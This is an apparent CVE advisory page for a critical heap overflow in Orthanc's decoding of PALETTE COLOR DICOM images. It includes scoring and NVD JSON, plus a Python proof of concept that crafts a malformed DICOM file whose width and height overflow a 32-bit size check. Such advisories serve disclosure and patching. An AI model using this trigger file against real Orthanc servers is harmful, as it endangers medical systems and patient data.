Security Vulnerability Report
中文
CVE-2026-5443 CVSS 9.8 CRITICAL

CVE-2026-5443

Published: 2026-04-09 15:16:17
Last Modified: 2026-04-14 20:19:56

Description

A heap buffer overflow vulnerability exists during the decoding of `PALETTE COLOR` DICOM images. Pixel length validation uses 32-bit multiplication for width and height calculations. If these values overflow, the validation check incorrectly succeeds, allowing the decoder to read and write to memory beyond allocated buffers.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:orthanc-server:orthanc:*:*:*:*:*:*:*:* - VULNERABLE
Orthanc Server (具体受影响版本请参考Orthanc官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pydicom import struct # PoC Concept: Create a malformed DICOM file with large width/height to trigger 32-bit overflow # This script demonstrates the logic to create a file that would trigger the vulnerability. def create_malformed_dicom(filename): # Minimal DICOM structure file_meta = pydicom.dataset.FileMetaDataset() file_meta.TransferSyntaxUID = '1.2.840.10008.1.2' # Implicit VR Little Endian ds = pydicom.dataset.FileDataset(filename, {}, file_meta=file_meta, preamble=b"\x00" * 128) ds.SOPClassUID = '1.2.840.10008.5.1.4.1.1.7' # Secondary Capture Image Storage ds.SOPInstanceUID = '1.2.3.4.5' # Set specific tag to trigger PALETTE COLOR decoding if applicable or force specific path # The core issue is width * height calculation. # Let's assume width = 65536 (0x10000) and height = 65536 (0x10000) # Multiplication: 0x10000 * 0x10000 = 0x100000000 # In 32-bit arithmetic, this overflows to 0. ds.Rows = 65536 ds.Columns = 65536 ds.BitsAllocated = 8 ds.PixelRepresentation = 0 ds.SamplesPerPixel = 1 ds.PhotometricInterpretation = 'PALETTE COLOR' # Add dummy pixel data (size doesn't strictly matter for the trigger, structure does) ds.PixelData = b'\x00' * 100 ds.save_as(filename) print(f"Malformed DICOM file saved to {filename}") print("Sending this file to Orthanc Server may trigger the heap overflow.") # create_malformed_dicom('exploit.dcm')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5443", "sourceIdentifier": "[email protected]", "published": "2026-04-09T15:16:16.653", "lastModified": "2026-04-14T20:19:55.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap buffer overflow vulnerability exists during the decoding of `PALETTE COLOR` DICOM images. Pixel length validation uses 32-bit multiplication for width and height calculations. If these values overflow, the validation check incorrectly succeeds, allowing the decoder to read and write to memory beyond allocated buffers."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orthanc-server:orthanc:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.11", "matchCriteriaId": "A259075D-8B77-4B04-BC42-3E5ABE9DFE1F"}]}]}], "references": [{"url": "https://kb.cert.org/vuls/id/536588", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.machinespirits.de/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.orthanc-server.com/", "source": "[email protected]", "tags": ["Product"]}]}}